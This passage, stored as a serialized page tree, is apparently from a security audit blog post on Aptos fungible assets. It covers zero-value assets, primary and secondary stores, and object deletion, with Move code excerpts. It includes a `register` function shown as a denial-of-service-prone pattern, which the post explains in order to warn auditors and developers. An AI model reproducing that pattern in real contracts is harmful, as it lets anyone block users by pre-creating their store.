observability.",{"type":24,"tag":68,"props":68944,"children":68945},{},[],{"type":24,"tag":25,"props":68947,"children":68948},{},[68949,68951,68956,68958,68963],{"type":29,"value":68950},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":284,"props":68952,"children":68954},{"className":68953},[],[68955],{"type":29,"value":68234},{"type":29,"value":68957}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":284,"props":68959,"children":68961},{"className":68960},[],[68962],{"type":29,"value":68234},{"type":29,"value":66},{"type":24,"tag":317,"props":68965,"children":68967},{"className":1553,"code":68966,"language":1552,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[68968],{"type":24,"tag":284,"props":68969,"children":68970},{"__ignoreMap":7},[68971,69008,69060,69103,69110,69117,69189,69201,69239,69258,69265],{"type":24,"tag":327,"props":68972,"children":68973},{"class":329,"line":330},[68974,68978,68982,68987,68991,68996,69000,69004],{"type":24,"tag":327,"props":68975,"children":68976},{"style":356},[68977],{"type":29,"value":68398},{"type":24,"tag":327,"props":68979,"children":68980},{"style":356},[68981],{"type":29,"value":13773},{"type":24,"tag":327,"props":68983,"children":68984},{"style":340},[68985],{"type":29,"value":68986}," destroy_zero",{"type":24,"tag":327,"props":68988,"children":68989},{"style":346},[68990],{"type":29,"value":349},{"type":24,"tag":327,"props":68992,"children":68993},{"style":356},[68994],{"type":29,"value":68995},"fungible_asset",{"type":24,"tag":327,"props":68997,"children":68998},{"style":381},[68999],{"type":29,"value":1636},{"type":24,"tag":327,"props":69001,"children":69002},{"style":1639},[69003],{"type":29,"value":68263},{"type":24,"tag":327,"props":69005,"children":69006},{"style":346},[69007],{"type":29,"value":364},{"type":24,"tag":327,"props":69009,"children":69010},{"class":329,"line":367},[69011,69015,69019,69023,69027,69031,69036,69040,69044,69048,69052,69056],{"type":24,"tag":327,"props":69012,"children":69013},{"style":334},[69014],{"type":29,"value":4794},{"type":24,"tag":327,"props":69016,"children":69017},{"style":1639},[69018],{"type":29,"value":68263},{"type":24,"tag":327,"props":69020,"children":69021},{"style":346},[69022],{"type":29,"value":1940},{"type":24,"tag":327,"props":69024,"children":69025},{"style":356},[69026],{"type":29,"value":1660},{"type":24,"tag":327,"props":69028,"children":69029},{"style":346},[69030],{"type":29,"value":2744},{"type":24,"tag":327,"props":69032,"children":69033},{"style":356},[69034],{"type":29,"value":69035},"metadata",{"type":24,"tag":327,"props":69037,"children":69038},{"style":381},[69039],{"type":29,"value":1636},{"type":24,"tag":327,"props":69041,"children":69042},{"style":356},[69043],{"type":29,"value":10648},{"type":24,"tag":327,"props":69045,"children":69046},{"style":346},[69047],{"type":29,"value":42915},{"type":24,"tag":327,"props":69049,"children":69050},{"style":381},[69051],{"type":29,"value":384},{"type":24,"tag":327,"props":69053,"children":69054},{"style":356},[69055],{"type":29,"value":68530},{"type":24,"tag":327,"props":69057,"children":69058},{"style":346},[69059],{"type":29,"value":405},{"type":24,"tag":327,"props":69061,"children":69062},{"class":329,"line":408},[69063,69068,69072,69076,69080,69084,69089,69093,69098],{"type":24,"tag":327,"props":69064,"children":69065},{"style":340},[69066],{"type":29,"value":69067},"    assert!",{"type":24,"tag":327,"props":69069,"children":69070},{"style":346},[69071],{"type":29,"value":349},{"type":24,"tag":327,"props":69073,"children":69074},{"style":356},[69075],{"type":29,"value":1660},{"type":24,"tag":327,"props":69077,"children":69078},{"style":381},[69079],{"type":29,"value":9887},{"type":24,"tag":327,"props":69081,"children":69082},{"style":397},[69083],{"type":29,"value":6695},{"type":24,"tag":327,"props":69085,"children":69086},{"style":346},[69087],{"type":29,"value":69088},", error",{"type":24,"tag":327,"props":69090,"children":69091},{"style":381},[69092],{"type":29,"value":2407},{"type":24,"tag":327,"props":69094,"children":69095},{"style":340},[69096],{"type":29,"value":69097},"invalid_argument",{"type":24,"tag":327,"props":69099,"children":69100},{"style":346},[69101],{"type":29,"value":69102},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":327,"props":69104,"children":69105},{"class":329,"line":421},[69106],{"type":24,"tag":327,"props":69107,"children":69108},{"style":346},[69109],{"type":29,"value":592},{"type":24,"tag":327,"props":69111,"children":69112},{"class":329,"line":450},[69113],{"type":24,"tag":327,"props":69114,"children":69115},{"emptyLinePlaceholder":16},[69116],{"type":29,"value":544},{"type":24,"tag":327,"props":69118,"children":69119},{"class":329,"line":481},[69120,69124,69128,69133,69137,69141,69145,69149,69153,69157,69161,69165,69169,69173,69177,69181,69185],{"type":24,"tag":327,"props":69121,"children":69122},{"style":356},[69123],{"type":29,"value":68398},{"type":24,"tag":327,"props":69125,"children":69126},{"style":356},[69127],{"type":29,"value":13773},{"type":24,"tag":327,"props":69129,"children":69130},{"style":356},[69131],{"type":29,"value":69132}," zero",{"type":24,"tag":327,"props":69134,"children":69135},{"style":346},[69136],{"type":29,"value":1596},{"type":24,"tag":327,"props":69138,"children":69139},{"style":1639},[69140],{"type":29,"value":13555},{"type":24,"tag":327,"props":69142,"children":69143},{"style":381},[69144],{"type":29,"value":1636},{"type":24,"tag":327,"props":69146,"children":69147},{"style":356},[69148],{"type":29,"value":13499},{"type":24,"tag":327,"props":69150,"children":69151},{"style":346},[69152],{"type":29,"value":15173},{"type":24,"tag":327,"props":69154,"children":69155},{"style":356},[69156],{"type":29,"value":69035},{"type":24,"tag":327,"props":69158,"children":69159},{"style":381},[69160],{"type":29,"value":1636},{"type":24,"tag":327,"props":69162,"children":69163},{"style":1639},[69164],{"type":29,"value":68284},{"type":24,"tag":327,"props":69166,"children":69167},{"style":346},[69168],{"type":29,"value":1596},{"type":24,"tag":327,"props":69170,"children":69171},{"style":1639},[69172],{"type":29,"value":13555},{"type":24,"tag":327,"props":69174,"children":69175},{"style":346},[69176],{"type":29,"value":15949},{"type":24,"tag":327,"props":69178,"children":69179},{"style":381},[69180],{"type":29,"value":1636},{"type":24,"tag":327,"props":69182,"children":69183},{"style":1639},[69184],{"type":29,"value":68263},{"type":24,"tag":327,"props":69186,"children":69187},{"style":346},[69188],{"type":29,"value":497},{"type":24,"tag":327,"props":69190,"children":69191},{"class":329,"line":500},[69192,69197],{"type":24,"tag":327,"props":69193,"children":69194},{"style":1639},[69195],{"type":29,"value":69196},"    FungibleAsset",{"type":24,"tag":327,"props":69198,"children":69199},{"style":346},[69200],{"type":29,"value":497},{"type":24,"tag":327,"props":69202,"children":69203},{"class":329,"line":529},[69204,69209,69213,69218,69222,69227,69231,69235],{"type":24,"tag":327,"props":69205,"children":69206},{"style":356},[69207],{"type":29,"value":69208},"        metadata",{"type":24,"tag":327,"props":69210,"children":69211},{"style":381},[69212],{"type":29,"value":1636},{"type":24,"tag":327,"props":69214,"children":69215},{"style":346},[69216],{"type":29,"value":69217}," object",{"type":24,"tag":327,"props":69219,"children":69220},{"style":381},[69221],{"type":29,"value":2407},{"type":24,"tag":327,"props":69223,"children":69224},{"style":340},[69225],{"type":29,"value":69226},"convert",{"type":24,"tag":327,"props":69228,"children":69229},{"style":346},[69230],{"type":29,"value":349},{"type":24,"tag":327,"props":69232,"children":69233},{"style":356},[69234],{"type":29,"value":69035},{"type":24,"tag":327,"props":69236,"children":69237},{"style":346},[69238],{"type":29,"value":9212},{"type":24,"tag":327,"props":69240,"children":69241},{"class":329,"line":538},[69242,69246,69250,69254],{"type":24,"tag":327,"props":69243,"children":69244},{"style":356},[69245],{"type":29,"value":15011},{"type":24,"tag":327,"props":69247,"children":69248},{"style":381},[69249],{"type":29,"value":1636},{"type":24,"tag":327,"props":69251,"children":69252},{"style":397},[69253],{"type":29,"value":6695},{"type":24,"tag":327,"props":69255,"children":69256},{"style":346},[69257],{"type":29,"value":2231},{"type":24,"tag":327,"props":69259,"children":69260},{"class":329,"line":547},[69261],{"type":24,"tag":327,"props":69262,"children":69263},{"style":346},[69264],{"type":29,"value":535},{"type":24,"tag":327,"props":69266,"children":69267},{"class":329,"line":557},[69268],{"type":24,"tag":327,"props":69269,"children":69270},{"style":346},[69271],{"type":29,"value":592},{"type":24,"tag":25,"props":69273,"children":69274},{},[69275],{"type":29,"value":69276},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":25,"props":69278,"children":69279},{},[69280,69282,69287],{"type":29,"value":69281},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":284,"props":69283,"children":69285},{"className":69284},[],[69286],{"type":29,"value":68376},{"type":29,"value":69288}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":235,"props":69290,"children":69292},{"id":69291},"primary-and-secondary-stores",[69293],{"type":29,"value":69294},"Primary and secondary stores",{"type":24,"tag":25,"props":69296,"children":69297},{},[69298,69304,69306,69312,69314,69319],{"type":24,"tag":284,"props":69299,"children":69301},{"className":69300},[],[69302],{"type":29,"value":69303},"FungibleStores",{"type":29,"value":69305}," in comparison to ",{"type":24,"tag":284,"props":69307,"children":69309},{"className":69308},[],[69310],{"type":29,"value":69311},"CoinStores",{"type":29,"value":69313}," are not unique. Each user can have multiple ",{"type":24,"tag":284,"props":69315,"children":69317},{"className":69316},[],[69318],{"type":29,"value":68799},{"type":29,"value":69320}," objects for a given token!",{"type":24,"tag":25,"props":69322,"children":69323},{},[69324,69326,69333,69335,69340],{"type":29,"value":69325},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":57,"props":69327,"children":69330},{"href":69328,"rel":69329},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[61],[69331],{"type":29,"value":69332},"primary_fungible_store",{"type":29,"value":69334}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":284,"props":69336,"children":69338},{"className":69337},[],[69339],{"type":29,"value":68293},{"type":29,"value":69341}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":25,"props":69343,"children":69344},{},[69345],{"type":29,"value":69346},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":317,"props":69348,"children":69350},{"className":1553,"code":69349,"language":1552,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[69351],{"type":24,"tag":284,"props":69352,"children":69353},{"__ignoreMap":7},[69354,69379,69411,69434,69450,69504,69519],{"type":24,"tag":327,"props":69355,"children":69356},{"class":329,"line":330},[69357,69361,69366,69370,69375],{"type":24,"tag":327,"props":69358,"children":69359},{"style":356},[69360],{"type":29,"value":68398},{"type":24,"tag":327,"props":69362,"children":69363},{"style":356},[69364],{"type":29,"value":69365}," entry",{"type":24,"tag":327,"props":69367,"children":69368},{"style":356},[69369],{"type":29,"value":13773},{"type":24,"tag":327,"props":69371,"children":69372},{"style":340},[69373],{"type":29,"value":69374}," register",{"type":24,"tag":327,"props":69376,"children":69377},{"style":346},[69378],{"type":29,"value":4663},{"type":24,"tag":327,"props":69380,"children":69381},{"class":329,"line":367},[69382,69387,69391,69395,69399,69403,69407],{"type":24,"tag":327,"props":69383,"children":69384},{"style":356},[69385],{"type":29,"value":69386},"    user",{"type":24,"tag":327,"props":69388,"children":69389},{"style":381},[69390],{"type":29,"value":1636},{"type":24,"tag":327,"props":69392,"children":69393},{"style":381},[69394],{"type":29,"value":14704},{"type":24,"tag":327,"props":69396,"children":69397},{"style":356},[69398],{"type":29,"value":14709},{"type":24,"tag":327,"props":69400,"children":69401},{"style":346},[69402],{"type":29,"value":50854},{"type":24,"tag":327,"props":69404,"children":69405},{"style":381},[69406],{"type":29,"value":1922},{"type":24,"tag":327,"props":69408,"children":69409},{"style":346},[69410],{"type":29,"value":19319},{"type":24,"tag":327,"props":69412,"children":69413},{"class":329,"line":408},[69414,69418,69422,69426,69430],{"type":24,"tag":327,"props":69415,"children":69416},{"style":346},[69417],{"type":29,"value":1674},{"type":24,"tag":327,"props":69419,"children":69420},{"style":356},[69421],{"type":29,"value":13910},{"type":24,"tag":327,"props":69423,"children":69424},{"style":346},[69425],{"type":29,"value":4446},{"type":24,"tag":327,"props":69427,"children":69428},{"style":381},[69429],{"type":29,"value":1922},{"type":24,"tag":327,"props":69431,"children":69432},{"style":346},[69433],{"type":29,"value":68489},{"type":24,"tag":327,"props":69435,"children":69436},{"class":329,"line":421},[69437,69442,69446],{"type":24,"tag":327,"props":69438,"children":69439},{"style":346},[69440],{"type":29,"value":69441},"    [",{"type":24,"tag":327,"props":69443,"children":69444},{"style":381},[69445],{"type":29,"value":1922},{"type":24,"tag":327,"props":69447,"children":69448},{"style":346},[69449],{"type":29,"value":19319},{"type":24,"tag":327,"props":69451,"children":69452},{"class":329,"line":450},[69453,69457,69462,69466,69471,69475,69479,69483,69487,69491,69495,69500],{"type":24,"tag":327,"props":69454,"children":69455},{"style":334},[69456],{"type":29,"value":4794},{"type":24,"tag":327,"props":69458,"children":69459},{"style":356},[69460],{"type":29,"value":69461}," wallet_store",{"type":24,"tag":327,"props":69463,"children":69464},{"style":381},[69465],{"type":29,"value":4809},{"type":24,"tag":327,"props":69467,"children":69468},{"style":340},[69469],{"type":29,"value":69470}," create_primary_store",{"type":24,"tag":327,"props":69472,"children":69473},{"style":346},[69474],{"type":29,"value":14763},{"type":24,"tag":327,"props":69476,"children":69477},{"style":381},[69478],{"type":29,"value":2407},{"type":24,"tag":327,"props":69480,"children":69481},{"style":340},[69482],{"type":29,"value":14772},{"type":24,"tag":327,"props":69484,"children":69485},{"style":346},[69486],{"type":29,"value":349},{"type":24,"tag":327,"props":69488,"children":69489},{"style":356},[69490],{"type":29,"value":68584},{"type":24,"tag":327,"props":69492,"children":69493},{"style":346},[69494],{"type":29,"value":22701},{"type":24,"tag":327,"props":69496,"children":69497},{"style":340},[69498],{"type":29,"value":69499},"get_metadata",{"type":24,"tag":327,"props":69501,"children":69502},{"style":346},[69503],{"type":29,"value":10225},{"type":24,"tag":327,"props":69505,"children":69506},{"class":329,"line":481},[69507,69511,69515],{"type":24,"tag":327,"props":69508,"children":69509},{"style":346},[69510],{"type":29,"value":69441},{"type":24,"tag":327,"props":69512,"children":69513},{"style":381},[69514],{"type":29,"value":1922},{"type":24,"tag":327,"props":69516,"children":69517},{"style":346},[69518],{"type":29,"value":19319},{"type":24,"tag":327,"props":69520,"children":69521},{"class":329,"line":500},[69522],{"type":24,"tag":327,"props":69523,"children":69524},{"style":346},[69525],{"type":29,"value":592},{"type":24,"tag":25,"props":69527,"children":69528},{},[69529,69530,69536,69538,69544],{"type":29,"value":1713},{"type":24,"tag":284,"props":69531,"children":69533},{"className":69532},[],[69534],{"type":29,"value":69535},"create_primary_store",{"type":29,"value":69537}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":284,"props":69539,"children":69541},{"className":69540},[],[69542],{"type":29,"value":69543},"ensure_primary_store_exists",{"type":29,"value":69545}," is recommended to avoid such issues.",{"type":24,"tag":228,"props":69547,"children":69549},{"id":69548},"fungible-assets-and-objects",[69550],{"type":29,"value":69551},"Fungible assets and objects",{"type":24,"tag":25,"props":69553,"children":69554},{},[69555,69557,69562,69564,69571],{"type":29,"value":69556},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":284,"props":69558,"children":69560},{"className":69559},[],[69561],{"type":29,"value":55571},{"type":29,"value":69563}," module, introduced in ",{"type":24,"tag":57,"props":69565,"children":69568},{"href":69566,"rel":69567},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[61],[69569],{"type":29,"value":69570},"AIP-10",{"type":29,"value":66},{"type":24,"tag":1706,"props":69573,"children":69574},{},[69575],{"type":24,"tag":25,"props":69576,"children":69577},{},[69578,69582],{"type":24,"tag":327,"props":69579,"children":69580},{},[69581],{"type":29,"value":68173},{"type":29,"value":69583}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":25,"props":69585,"children":69586},{},[69587],{"type":29,"value":69588},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":235,"props":69590,"children":69592},{"id":69591},"creation-and-deletion",[69593],{"type":29,"value":69594},"Creation and deletion",{"type":24,"tag":25,"props":69596,"children":69597},{},[69598,69600,69606],{"type":29,"value":69599},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":24,"tag":284,"props":69601,"children":69603},{"className":69602},[],[69604],{"type":29,"value":69605},"fungible_asset::add_fungibility",{"type":29,"value":1636},{"type":24,"tag":317,"props":69608,"children":69610},{"className":1553,"code":69609,"language":1552,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[69611],{"type":24,"tag":284,"props":69612,"children":69613},{"__ignoreMap":7},[69614],{"type":24,"tag":327,"props":69615,"children":69616},{"class":329,"line":330},[69617,69621,69625,69629,69634,69638,69643,69647,69652,69657,69661,69665],{"type":24,"tag":327,"props":69618,"children":69619},{"style":340},[69620],{"type":29,"value":48699},{"type":24,"tag":327,"props":69622,"children":69623},{"style":346},[69624],{"type":29,"value":349},{"type":24,"tag":327,"props":69626,"children":69627},{"style":381},[69628],{"type":29,"value":1986},{"type":24,"tag":327,"props":69630,"children":69631},{"style":346},[69632],{"type":29,"value":69633},"object",{"type":24,"tag":327,"props":69635,"children":69636},{"style":381},[69637],{"type":29,"value":2407},{"type":24,"tag":327,"props":69639,"children":69640},{"style":340},[69641],{"type":29,"value":69642},"can_generate_delete_ref",{"type":24,"tag":327,"props":69644,"children":69645},{"style":346},[69646],{"type":29,"value":349},{"type":24,"tag":327,"props":69648,"children":69649},{"style":356},[69650],{"type":29,"value":69651},"constructor_ref",{"type":24,"tag":327,"props":69653,"children":69654},{"style":346},[69655],{"type":29,"value":69656},"), error",{"type":24,"tag":327,"props":69658,"children":69659},{"style":381},[69660],{"type":29,"value":2407},{"type":24,"tag":327,"props":69662,"children":69663},{"style":340},[69664],{"type":29,"value":69097},{"type":24,"tag":327,"props":69666,"children":69667},{"style":346},[69668],{"type":29,"value":69669},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":25,"props":69671,"children":69672},{},[69673,69675,69680,69682,69687,69688,69695],{"type":29,"value":69674},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":284,"props":69676,"children":69678},{"className":69677},[],[69679],{"type":29,"value":68234},{"type":29,"value":69681},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":284,"props":69683,"children":69685},{"className":69684},[],[69686],{"type":29,"value":69605},{"type":29,"value":14024},{"type":24,"tag":57,"props":69689,"children":69692},{"href":69690,"rel":69691},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[61],[69693],{"type":29,"value":69694},"lacked this assert",{"type":29,"value":69696},", which we discovered and reported.",{"type":24,"tag":25,"props":69698,"children":69699},{},[69700,69705,69707,69712,69714,69719],{"type":24,"tag":284,"props":69701,"children":69703},{"className":69702},[],[69704],{"type":29,"value":69605},{"type":29,"value":69706}," transfers the ",{"type":24,"tag":284,"props":69708,"children":69710},{"className":69709},[],[69711],{"type":29,"value":68293},{"type":29,"value":69713}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":284,"props":69715,"children":69717},{"className":69716},[],[69718],{"type":29,"value":68234},{"type":29,"value":69720}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":317,"props":69722,"children":69724},{"className":1553,"code":69723,"language":1552,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[69725],{"type":24,"tag":284,"props":69726,"children":69727},{"__ignoreMap":7},[69728,69736,69756,69771,69798,69813,69834,69846,69858,69870,69882,69894,69906,69913,69920,69935],{"type":24,"tag":327,"props":69729,"children":69730},{"class":329,"line":330},[69731],{"type":24,"tag":327,"props":69732,"children":69733},{"style":551},[69734],{"type":29,"value":69735},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":327,"props":69737,"children":69738},{"class":329,"line":367},[69739,69743,69747,69752],{"type":24,"tag":327,"props":69740,"children":69741},{"style":356},[69742],{"type":29,"value":68398},{"type":24,"tag":327,"props":69744,"children":69745},{"style":356},[69746],{"type":29,"value":13773},{"type":24,"tag":327,"props":69748,"children":69749},{"style":340},[69750],{"type":29,"value":69751}," add_fungibility",{"type":24,"tag":327,"props":69753,"children":69754},{"style":346},[69755],{"type":29,"value":4663},{"type":24,"tag":327,"props":69757,"children":69758},{"class":329,"line":408},[69759,69763,69767],{"type":24,"tag":327,"props":69760,"children":69761},{"style":346},[69762],{"type":29,"value":69441},{"type":24,"tag":327,"props":69764,"children":69765},{"style":381},[69766],{"type":29,"value":1922},{"type":24,"tag":327,"props":69768,"children":69769},{"style":346},[69770],{"type":29,"value":19319},{"type":24,"tag":327,"props":69772,"children":69773},{"class":329,"line":421},[69774,69778,69782,69786,69790,69794],{"type":24,"tag":327,"props":69775,"children":69776},{"style":346},[69777],{"type":29,"value":3146},{"type":24,"tag":327,"props":69779,"children":69780},{"style":381},[69781],{"type":29,"value":1636},{"type":24,"tag":327,"props":69783,"children":69784},{"style":1639},[69785],{"type":29,"value":68284},{"type":24,"tag":327,"props":69787,"children":69788},{"style":346},[69789],{"type":29,"value":1596},{"type":24,"tag":327,"props":69791,"children":69792},{"style":1639},[69793],{"type":29,"value":68293},{"type":24,"tag":327,"props":69795,"children":69796},{"style":346},[69797],{"type":29,"value":4344},{"type":24,"tag":327,"props":69799,"children":69800},{"class":329,"line":450},[69801,69805,69809],{"type":24,"tag":327,"props":69802,"children":69803},{"style":346},[69804],{"type":29,"value":69441},{"type":24,"tag":327,"props":69806,"children":69807},{"style":381},[69808],{"type":29,"value":1922},{"type":24,"tag":327,"props":69810,"children":69811},{"style":346},[69812],{"type":29,"value":19319},{"type":24,"tag":327,"props":69814,"children":69815},{"class":329,"line":481},[69816,69821,69825,69830],{"type":24,"tag":327,"props":69817,"children":69818},{"style":340},[69819],{"type":29,"value":69820},"    move_to",{"type":24,"tag":327,"props":69822,"children":69823},{"style":346},[69824],{"type":29,"value":349},{"type":24,"tag":327,"props":69826,"children":69827},{"style":356},[69828],{"type":29,"value":69829},"metadata_object_signer",{"type":24,"tag":327,"props":69831,"children":69832},{"style":346},[69833],{"type":29,"value":2231},{"type":24,"tag":327,"props":69835,"children":69836},{"class":329,"line":500},[69837,69842],{"type":24,"tag":327,"props":69838,"children":69839},{"style":1639},[69840],{"type":29,"value":69841},"        Metadata",{"type":24,"tag":327,"props":69843,"children":69844},{"style":346},[69845],{"type":29,"value":497},{"type":24,"tag":327,"props":69847,"children":69848},{"class":329,"line":529},[69849,69854],{"type":24,"tag":327,"props":69850,"children":69851},{"style":356},[69852],{"type":29,"value":69853},"            name",{"type":24,"tag":327,"props":69855,"children":69856},{"style":346},[69857],{"type":29,"value":2231},{"type":24,"tag":327,"props":69859,"children":69860},{"class":329,"line":538},[69861,69866],{"type":24,"tag":327,"props":69862,"children":69863},{"style":356},[69864],{"type":29,"value":69865},"            symbol",{"type":24,"tag":327,"props":69867,"children":69868},{"style":346},[69869],{"type":29,"value":2231},{"type":24,"tag":327,"props":69871,"children":69872},{"class":329,"line":547},[69873,69878],{"type":24,"tag":327,"props":69874,"children":69875},{"style":356},[69876],{"type":29,"value":69877},"            decimals",{"type":24,"tag":327,"props":69879,"children":69880},{"style":346},[69881],{"type":29,"value":2231},{"type":24,"tag":327,"props":69883,"children":69884},{"class":329,"line":557},[69885,69890],{"type":24,"tag":327,"props":69886,"children":69887},{"style":356},[69888],{"type":29,"value":69889},"            icon_uri",{"type":24,"tag":327,"props":69891,"children":69892},{"style":346},[69893],{"type":29,"value":2231},{"type":24,"tag":327,"props":69895,"children":69896},{"class":329,"line":586},[69897,69902],{"type":24,"tag":327,"props":69898,"children":69899},{"style":356},[69900],{"type":29,"value":69901},"            project_uri",{"type":24,"tag":327,"props":69903,"children":69904},{"style":346},[69905],{"type":29,"value":2231},{"type":24,"tag":327,"props":69907,"children":69908},{"class":329,"line":1017},[69909],{"type":24,"tag":327,"props":69910,"children":69911},{"style":346},[69912],{"type":29,"value":8989},{"type":24,"tag":327,"props":69914,"children":69915},{"class":329,"line":1026},[69916],{"type":24,"tag":327,"props":69917,"children":69918},{"style":346},[69919],{"type":29,"value":50373},{"type":24,"tag":327,"props":69921,"children":69922},{"class":329,"line":1048},[69923,69927,69931],{"type":24,"tag":327,"props":69924,"children":69925},{"style":346},[69926],{"type":29,"value":11329},{"type":24,"tag":327,"props":69928,"children":69929},{"style":381},[69930],{"type":29,"value":1922},{"type":24,"tag":327,"props":69932,"children":69933},{"style":346},[69934],{"type":29,"value":19319},{"type":24,"tag":327,"props":69936,"children":69937},{"class":329,"line":1067},[69938],{"type":24,"tag":327,"props":69939,"children":69940},{"style":346},[69941],{"type":29,"value":592},{"type":24,"tag":68,"props":69943,"children":69944},{},[],{"type":24,"tag":25,"props":69946,"children":69947},{},[69948,69950,69955,69957,69962],{"type":29,"value":69949},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":284,"props":69951,"children":69953},{"className":69952},[],[69954],{"type":29,"value":68799},{"type":29,"value":69956}," is also an object, and a \"secondary\" ",{"type":24,"tag":284,"props":69958,"children":69960},{"className":69959},[],[69961],{"type":29,"value":68799},{"type":29,"value":69963}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":317,"props":69965,"children":69967},{"className":1553,"code":69966,"language":1552,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[69968],{"type":24,"tag":284,"props":69969,"children":69970},{"__ignoreMap":7},[69971,69979,70021,70028,70036],{"type":24,"tag":327,"props":69972,"children":69973},{"class":329,"line":330},[69974],{"type":24,"tag":327,"props":69975,"children":69976},{"style":551},[69977],{"type":29,"value":69978},"//Fungible asset\n",{"type":24,"tag":327,"props":69980,"children":69981},{"class":329,"line":367},[69982,69986,69990,69995,69999,70004,70008,70012,70017],{"type":24,"tag":327,"props":69983,"children":69984},{"style":356},[69985],{"type":29,"value":68398},{"type":24,"tag":327,"props":69987,"children":69988},{"style":356},[69989],{"type":29,"value":13773},{"type":24,"tag":327,"props":69991,"children":69992},{"style":340},[69993],{"type":29,"value":69994}," remove_store",{"type":24,"tag":327,"props":69996,"children":69997},{"style":346},[69998],{"type":29,"value":349},{"type":24,"tag":327,"props":70000,"children":70001},{"style":356},[70002],{"type":29,"value":70003},"delete_ref",{"type":24,"tag":327,"props":70005,"children":70006},{"style":381},[70007],{"type":29,"value":1636},{"type":24,"tag":327,"props":70009,"children":70010},{"style":381},[70011],{"type":29,"value":14704},{"type":24,"tag":327,"props":70013,"children":70014},{"style":1639},[70015],{"type":29,"value":70016},"DeleteRef",{"type":24,"tag":327,"props":70018,"children":70019},{"style":346},[70020],{"type":29,"value":852},{"type":24,"tag":327,"props":70022,"children":70023},{"class":329,"line":408},[70024],{"type":24,"tag":327,"props":70025,"children":70026},{"emptyLinePlaceholder":16},[70027],{"type":29,"value":544},{"type":24,"tag":327,"props":70029,"children":70030},{"class":329,"line":421},[70031],{"type":24,"tag":327,"props":70032,"children":70033},{"style":551},[70034],{"type":29,"value":70035},"//Object\n",{"type":24,"tag":327,"props":70037,"children":70038},{"class":329,"line":450},[70039,70043,70047,70052,70056,70061,70065,70070],{"type":24,"tag":327,"props":70040,"children":70041},{"style":356},[70042],{"type":29,"value":68398},{"type":24,"tag":327,"props":70044,"children":70045},{"style":356},[70046],{"type":29,"value":13773},{"type":24,"tag":327,"props":70048,"children":70049},{"style":340},[70050],{"type":29,"value":70051}," delete",{"type":24,"tag":327,"props":70053,"children":70054},{"style":346},[70055],{"type":29,"value":349},{"type":24,"tag":327,"props":70057,"children":70058},{"style":334},[70059],{"type":29,"value":70060},"ref",{"type":24,"tag":327,"props":70062,"children":70063},{"style":381},[70064],{"type":29,"value":1636},{"type":24,"tag":327,"props":70066,"children":70067},{"style":1639},[70068],{"type":29,"value":70069}," DeleteRef",{"type":24,"tag":327,"props":70071,"children":70072},{"style":346},[70073],{"type":29,"value":852},{"type":24,"tag":25,"props":70075,"children":70076},{},[70077,70079,70085,70087,70092,70094,70099,70101,70106,70108,70114,70116,70122,70124,70129],{"type":29,"value":70078},"When ",{"type":24,"tag":284,"props":70080,"children":70082},{"className":70081},[],[70083],{"type":29,"value":70084},"object::delete",{"type":29,"value":70086}," removes the ",{"type":24,"tag":284,"props":70088,"children":70090},{"className":70089},[],[70091],{"type":29,"value":55571},{"type":29,"value":70093}," from a 